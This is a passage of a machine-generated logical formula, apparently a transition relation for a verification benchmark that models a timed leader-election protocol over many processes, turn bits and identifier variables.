&& ((p21_saved_max == _x_p21_saved_max) && (proposed21 == _x_proposed21))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (turn2 && (turn0 && ( !turn1)))))))))) && (((((_x_p21_l1 && ( !_x_p21_l0)) && (_x_p21_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed21 == _x_proposed21))) && (max_prop == _x_p21_saved_max)) || ( !((( !p21_l0) && ( !p21_l1)) && ((turn4 && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p21_saved_max) && (((_x_p21_l0 && ( !_x_p21_l1)) && (_x_p21_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && (proposed21 == _x_proposed21)))) || ( !((p21_l1 && ( !p21_l0)) && ((turn4 && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed21 == _x_proposed21)) && ((max_prop == _x_p21_saved_max) && (((( !_x_p21_l0) && ( !_x_p21_l1)) && (_x_p21_x == 0.0)) || ((_x_p21_l0 && _x_p21_l1) && (p21_x == _x_p21_x))))) || ( !((p21_l0 && ( !p21_l1)) && ((turn4 && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p21_saved_max) && (((( !_x_p21_l0) && ( !_x_p21_l1)) && (p21_x == _x_p21_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed21 <= _x_proposed21))))) || ( !((p21_l0 && p21_l1) && ((turn4 && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p20_l0) && ( !_x_p20_l1)) || (_x_p20_l0 && ( !_x_p20_l1))) || ((_x_p20_l1 && ( !_x_p20_l0)) || (_x_p20_l0 && _x_p20_l1))) && ( !(_x_proposed20 <= 0.0))) && ((_x_p20_x <= _x_proposed20) || ( !(_x_p20_l1 && ( !_x_p20_l0))))) && (((((p20_l0 == _x_p20_l0) && (p20_l1 == _x_p20_l1)) && ((delta + (p20_x + (-1.0 * _x_p20_x))) == 0.0)) && ((p20_saved_max == _x_p20_saved_max) && (proposed20 == _x_proposed20))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p20_l1 && ( !_x_p20_l0)) && (_x_p20_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed20 == _x_proposed20))) && (max_prop == _x_p20_saved_max)) || ( !((( !p20_l0) && ( !p20_l1)) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p20_saved_max) && (((_x_p20_l0 && ( !_x_p20_l1)) && (_x_p20_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed20 == _x_proposed20)))) || ( !((p20_l1 && ( !p20_l0)) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed20 == _x_proposed20)) && ((max_prop == _x_p20_saved_max) && (((( !_x_p20_l0) && ( !_x_p20_l1)) && (_x_p20_x == 0.0)) || ((_x_p20_l0 && _x_p20_l1) && (p20_x == _x_p20_x))))) || ( !((p20_l0 && ( !p20_l1)) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p20_saved_max) && (((( !_x_p20_l0) && ( !_x_p20_l1)) && (p20_x == _x_p20_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed20 <= _x_proposed20))))) || ( !((p20_l0 && p20_l1) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p19_l0) && ( !_x_p19_l1)) || (_x_p19_l0 && ( !_x_p19_l1))) || ((_x_p19_l1 && ( !_x_p19_l0)) || (_x_p19_l0 && _x_p19_l1))) && ( !(_x_proposed19 <= 0.0))) && ((_x_p19_x <= _x_proposed19) || ( !(_x_p19_l1 && ( !_x_p19_l0))))) && (((((p19_l0 == _x_p19_l0) && (p19_l1 == _x_p19_l1)) && ((delta + (p19_x + (-1.0 * _x_p19_x))) == 0.0)) && ((p19_saved_max == _x_p19_saved_max) && (proposed19 == _x_proposed19))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p19_l1 && ( !_x_p19_l0)) && (_x_p19_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed19 == _x_proposed19))) && (max_prop == _x_p19_saved_max)) || ( !((( !p19_l0) && ( !p19_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p19_saved_max) && (((_x_p19_l0 && ( !_x_p19_l1)) && (_x_p19_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed19 == _x_proposed19)))) || ( !((p19_l1 && ( !p19_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed19 == _x_proposed19)) && ((max_prop == _x_p19_saved_max) && (((( !_x_p19_l0) && ( !_x_p19_l1)) && (_x_p19_x == 0.0)) || ((_x_p19_l0 && _x_p19_l1) && (p19_x == _x_p19_x))))) || ( !((p19_l0 && ( !p19_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p19_saved_max) && (((( !_x_p19_l0) && ( !_x_p19_l1)) && (p19_x == _x_p19_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed19 <= _x_proposed19))))) || ( !((p19_l0 && p19_l1) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p18_l0) && ( !_x_p18_l1)) || (_x_p18_l0 && ( !_x_p18_l1))) || ((_x_p18_l1 && ( !_x_p18_l0)) || (_x_p18_l0 && _x_p18_l1))) && ( !(_x_proposed18 <= 0.0))) && ((_x_p18_x <= _x_proposed18) || ( !(_x_p18_l1 && ( !_x_p18_l0))))) && (((((p18_l0 == _x_p18_l0) && (p18_l1 == _x_p18_l1)) && ((delta + (p18_x + (-1.0 * _x_p18_x))) == 0.0)) && ((p18_saved_max == _x_p18_saved_max) && (proposed18 == _x_proposed18))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p18_l1 && ( !_x_p18_l0)) && (_x_p18_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed18 == _x_proposed18))) && (max_prop == _x_p18_saved_max)) || ( !((( !p18_l0) && ( !p18_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p18_saved_max) && (((_x_p18_l0 && ( !_x_p18_l1)) && (_x_p18_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed18 == _x_proposed18)))) || ( !((p18_l1 && ( !p18_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed18 == _x_proposed18)) && ((max_prop == _x_p18_saved_max) && (((( !_x_p18_l0) && ( !_x_p18_l1)) && (_x_p18_x == 0.0)) || ((_x_p18_l0 && _x_p18_l1) && (p18_x == _x_p18_x))))) || ( !((p18_l0 && ( !p18_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p18_saved_max) && (((( !_x_p18_l0) && ( !_x_p18_l1)) && (p18_x == _x_p18_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed18 <= _x_proposed18))))) || ( !((p18_l0 && p18_l1) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p17_l0) && ( !_x_p17_l1)) || (_x_p17_l0 && ( !_x_p17_l1))) || ((_x_p17_l1 && ( !_x_p17_l0)) || (_x_p17_l0 && _x_p17_l1))) && ( !(_x_proposed17 <= 0.0))) && ((_x_p17_x <= _x_proposed17) || ( !(_x_p17_l1 && ( !_x_p17_l0))))) && (((((p17_l0 == _x_p17_l0) && (p17_l1 == _x_p17_l1)) && ((delta + (p17_x + (-1.0 * _x_p17_x))) == 0.0)) && ((p17_saved_max == _x_p17_saved_max) && (proposed17 == _x_proposed17))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p17_l1 && ( !_x_p17_l0)) && (_x_p17_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed17 == _x_proposed17))) && (max_prop == _x_p17_saved_max)) || ( !((( !p17_l0) && ( !p17_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p17_saved_max) && (((_x_p17_l0 && ( !_x_p17_l1)) && (_x_p17_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed17 == _x_proposed17)))) || ( !((p17_l1 && ( !p17_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed17 == _x_proposed17)) && ((max_prop == _x_p17_saved_max) && (((( !_x_p17_l0) && ( !_x_p17_l1)) && (_x_p17_x == 0.0)) || ((_x_p17_l0 && _x_p17_l1) && (p17_x == _x_p17_x))))) || ( !((p17_l0 && ( !p17_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p17_saved_max) && (((( !_x_p17_l0) && ( !_x_p17_l1)) && (p17_x == _x_p17_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed17 <= _x_proposed17))))) || ( !((p17_l0 && p17_l1) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p16_l0) && ( !_x_p16_l1)) || (_x_p16_l0 && ( !_x_p16_l1))) || ((_x_p16_l1 && ( !_x_p16_l0)) || (_x_p16_l0 && _x_p16_l1))) && ( !(_x_proposed16 <= 0.0))) && ((_x_p16_x <= _x_proposed16) || ( !(_x_p16_l1 && ( !_x_p16_l0))))) && (((((p16_l0 == _x_p16_l0) && (p16_l1 == _x_p16_l1)) && ((delta + (p16_x + (-1.0 * _x_p16_x))) == 0.0)) && ((p16_saved_max == _x_p16_saved_max) && (proposed16 == _x_proposed16))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p16_l1 && ( !_x_p16_l0)) && (_x_p16_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed16 == _x_proposed16))) && (max_prop == _x_p16_saved_max)) || ( !((( !p16_l0) && ( !p16_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p16_saved_max) && (((_x_p16_l0 && ( !_x_p16_l1)) && (_x_p16_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed16 == _x_proposed16)))) || ( !((p16_l1 && ( !p16_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed16 == _x_proposed16)) && ((max_prop == _x_p16_saved_max) && (((( !_x_p16_l0) && ( !_x_p16_l1)) && (_x_p16_x == 0.0)) || ((_x_p16_l0 && _x_p16_l1) && (p16_x == _x_p16_x))))) || ( !((p16_l0 && ( !p16_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p16_saved_max) && (((( !_x_p16_l0) && ( !_x_p16_l1)) && (p16_x == _x_p16_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed16 <= _x_proposed16))))) || ( !((p16_l0 && p16_l1) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p15_l0) && ( !_x_p15_l1)) || (_x_p15_l0 && ( !_x_p15_l1))) || ((_x_p15_l1 && ( !_x_p15_l0)) || (_x_p15_l0 && _x_p15_l1))) && ( !(_x_proposed15 <= 0.0))) && ((_x_p15_x <= _x_proposed15) || ( !(_x_p15_l1 && ( !_x_p15_l0))))) && (((((p15_l0 == _x_p15_l0) && (p15_l1 == _x_p15_l1)) && ((delta + (p15_x + (-1.0 * _x_p15_x))) == 0.0)) && ((p15_saved_max == _x_p15_saved_max) && (proposed15 == _x_proposed15))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (turn0 && turn1))))))))) && (((((_x_p15_l1 && ( !_x_p15_l0)) && (_x_p15_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed15 == _x_proposed15))) && (max_prop == _x_p15_saved_max)) || ( !((( !p15_l0) && ( !p15_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p15_saved_max) && (((_x_p15_l0 && ( !_x_p15_l1)) && (_x_p15_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && _x_id1)))) && (proposed15 == _x_proposed15)))) || ( !((p15_l1 && ( !p15_l0)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed15 == _x_proposed15)) && ((max_prop == _x_p15_saved_max) && (((( !_x_p15_l0) && ( !_x_p15_l1)) && (_x_p15_x == 0.0)) || ((_x_p15_l0 && _x_p15_l1) && (p15_x == _x_p15_x))))) || ( !((p15_l0 && ( !p15_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p15_saved_max) && (((( !_x_p15_l0) && ( !_x_p15_l1)) && (p15_x == _x_p15_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed15 <= _x_proposed15))))) || ( !((p15_l0 && p15_l1) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p14_l0) && ( !_x_p14_l1)) || (_x_p14_l0 && ( !_x_p14_l1))) || ((_x_p14_l1 && ( !_x_p14_l0)) || (_x_p14_l0 && _x_p14_l1))) && ( !(_x_proposed14 <= 0.0))) && ((_x_p14_x <= _x_proposed14) || ( !(_x_p14_l1 && ( !_x_p14_l0))))) && (((((p14_l0 == _x_p14_l0) && (p14_l1 == _x_p14_l1)) && ((delta + (p14_x + (-1.0 * _x_p14_x))) == 0.0)) && ((p14_saved_max == _x_p14_saved_max) && (proposed14 == _x_proposed14))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0)))))))))) && (((((_x_p14_l1 && ( !_x_p14_l0)) && (_x_p14_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed14 == _x_proposed14))) && (max_prop == _x_p14_saved_max)) || ( !((( !p14_l0) && ( !p14_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p14_saved_max) && (((_x_p14_l0 && ( !_x_p14_l1)) && (_x_p14_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && (proposed14 == _x_proposed14)))) || ( !((p14_l1 && ( !p14_l0)) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed14 == _x_proposed14)) && ((max_prop == _x_p14_saved_max) && (((( !_x_p14_l0) && ( !_x_p14_l1)) && (_x_p14_x == 0.0)) || ((_x_p14_l0 && _x_p14_l1) && (p14_x == _x_p14_x))))) || ( !((p14_l0 && ( !p14_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p14_saved_max) && (((( !_x_p14_l0) && ( !_x_p14_l1)) && (p14_x == _x_p14_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed14 <= _x_proposed14))))) || ( !((p14_l0 && p14_l1) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p13_l0) && ( !_x_p13_l1)) || (_x_p13_l0 && ( !_x_p13_l1))) || ((_x_p13_l1 && ( !_x_p13_l0)) || (_x_p13_l0 && _x_p13_l1))) && ( !(_x_proposed13 <= 0.0))) && ((_x_p13_x <= _x_proposed13) || ( !(_x_p13_l1 && ( !_x_p13_l0))))) && (((((p13_l0 == _x_p13_l0) && (p13_l1 == _x_p13_l1)) && ((delta + (p13_x + (-1.0 * _x_p13_x))) == 0.0)) && ((p13_saved_max == _x_p13_saved_max) && (proposed13 == _x_proposed13))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1)))))))))) && (((((_x_p13_l1 && ( !_x_p13_l0)) && (_x_p13_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed13 == _x_proposed13))) && (max_prop == _x_p13_saved_max)) || ( !((( !p13_l0) && ( !p13_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p13_saved_max) && (((_x_p13_l0 && ( !_x_p13_l1)) && (_x_p13_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && ( !_x_id1))))) && (proposed13 == _x_proposed13)))) || ( !((p13_l1 && ( !p13_l0)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed13 == _x_proposed13)) && ((max_prop == _x_p13_saved_max) && (((( !_x_p13_l0) && ( !_x_p13_l1)) && (_x_p13_x == 0.0)) || ((_x_p13_l0 && _x_p13_l1) && (p13_x == _x_p13_x))))) || ( !((p13_l0 && ( !p13_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p13_saved_max) && (((( !_x_p13_l0) && ( !_x_p13_l1)) && (p13_x == _x_p13_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed13 <= _x_proposed13))))) || ( !((p13_l0 && p13_l1) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p12_l0) && ( !_x_p12_l1)) || (_x_p12_l0 && ( !_x_p12_l1))) || ((_x_p12_l1 && ( !_x_p12_l0)) || (_x_p12_l0 && _x_p12_l1))) && ( !(_x_proposed12 <= 0.0))) && ((_x_p12_x <= _x_proposed12) || ( !(_x_p12_l1 && ( !_x_p12_l0))))) && (((((p12_l0 == _x_p12_l0) && (p12_l1 == _x_p12_l1)) && ((delta + (p12_x + (-1.0 * _x_p12_x))) == 0.0)) && ((p12_saved_max == _x_p12_saved_max) && (proposed12 == _x_proposed12))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p12_l1 && ( !_x_p12_l0)) && (_x_p12_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed12 == _x_proposed12))) && (max_prop == _x_p12_saved_max)) || ( !((( !p12_l0) && ( !p12_l1)) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p12_saved_max) && (((_x_p12_l0 && ( !_x_p12_l1)) && (_x_p12_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed12 == _x_proposed12)))) || ( !((p12_l1 && ( !p12_l0)) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed12 == _x_proposed12)) && ((max_prop == _x_p12_saved_max) && (((( !_x_p12_l0) && ( !_x_p12_l1)) && (_x_p12_x == 0.0)) || ((_x_p12_l0 && _x_p12_l1) && (p12_x == _x_p12_x))))) || ( !((p12_l0 && ( !p12_l1)) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p12_saved_max) && (((( !_x_p12_l0) && ( !_x_p12_l1)) && (p12_x == _x_p12_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed12 <= _x_proposed12))))) || ( !((p12_l0 && p12_l1) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p11_l0) && ( !_x_p11_l1)) || (_x_p11_l0 && ( !_x_p11_l1))) || ((_x_p11_l1 && ( !_x_p11_l0)) || (_x_p11_l0 && _x_p11_l1))) && ( !(_x_proposed11 <= 0.0))) && ((_x_p11_x <= _x_proposed11) || ( !(_x_p11_l1 && ( !_x_p11_l0))))) && (((((p11_l0 == _x_p11_l0) && (p11_l1 == _x_p11_l1)) && ((delta + (p11_x + (-1.0 * _x_p11_x))) == 0.0)) && ((p11_saved_max == _x_p11_saved_max) && (proposed11 == _x_proposed11))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p11_l1 && ( !_x_p11_l0)) && (_x_p11_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed11 == _x_proposed11))) && (max_prop == _x_p11_saved_max)) || ( !((( !p11_l0) && ( !p11_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p11_saved_max) && (((_x_p11_l0 && ( !_x_p11_l1)) && (_x_p11_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed11 == _x_proposed11)))) || ( !((p11_l1 && ( !p11_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed11 == _x_proposed11)) && ((max_prop == _x_p11_saved_max) && (((( !_x_p11_l0) && ( !_x_p11_l1)) && (_x_p11_x == 0.0)) || ((_x_p11_l0 && _x_p11_l1) && (p11_x == _x_p11_x))))) || ( !((p11_l0 && ( !p11_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p11_saved_max) && (((( !_x_p11_l0) && ( !_x_p11_l1)) && (p11_x == _x_p11_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed11 <= _x_proposed11))))) || ( !((p11_l0 && p11_l1) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p10_l0) && ( !_x_p10_l1)) || (_x_p10_l0 && ( !_x_p10_l1))) || ((_x_p10_l1 && ( !_x_p10_l0)) || (_x_p10_l0 && _x_p10_l1))) && ( !(_x_proposed10 <= 0.0))) && ((_x_p10_x <= _x_proposed10) || ( !(_x_p10_l1 && ( !_x_p10_l0))))) && (((((p10_l0 == _x_p10_l0) && (p10_l1 == _x_p10_l1)) && ((delta + (p10_x + (-1.0 * _x_p10_x))) == 0.0)) && ((p10_saved_max == _x_p10_saved_max) && (proposed10 == _x_proposed10))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p10_l1 && ( !_x_p10_l0)) && (_x_p10_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed10 == _x_proposed10))) && (max_prop == _x_p10_saved_max)) || ( !((( !p10_l0) && ( !p10_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p10_saved_max) && (((_x_p10_l0 && ( !_x_p10_l1)) && (_x_p10_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed10 == _x_proposed10)))) || ( !((p10_l1 && ( !p10_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed10 == _x_proposed10)) && ((max_prop == _x_p10_saved_max) && (((( !_x_p10_l0) && ( !_x_p10_l1)) && (_x_p10_x == 0.0)) || ((_x_p10_l0 && _x_p10_l1) && (p10_x == _x_p10_x))))) || ( !((p10_l0 && ( !p10_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p10_saved_max) && (((( !_x_p10_l0) && ( !_x_p10_l1)) && (p10_x == _x_p10_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed10 <= _x_proposed10))))) || ( !((p10_l0 && p10_l1) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p9_l0) && ( !_x_p9_l1)) || (_x_p9_l0 && ( !_x_p9_l1))) || ((_x_p9_l1 && ( !_x_p9_l0)) || (_x_p9_l0 && _x_p9_l1))) && ( !(_x_proposed9 <= 0.0))) && ((_x_p9_x <= _x_proposed9) || ( !(_x_p9_l1 && ( !_x_p9_l0))))) && (((((p9_l0 == _x_p9_l0) && (p9_l1 == _x_p9_l1)) && ((delta + (p9_x + (-1.0 * _x_p9_x))) == 0.0)) && ((p9_saved_max == _x_p9_saved_max) && (proposed9 == _x_proposed9))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p9_l1 && ( !_x_p9_l0)) && (_x_p9_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed9 == _x_proposed9))) && (max_prop == _x_p9_saved_max)) || ( !((( !p9_l0) && ( !p9_l1)) 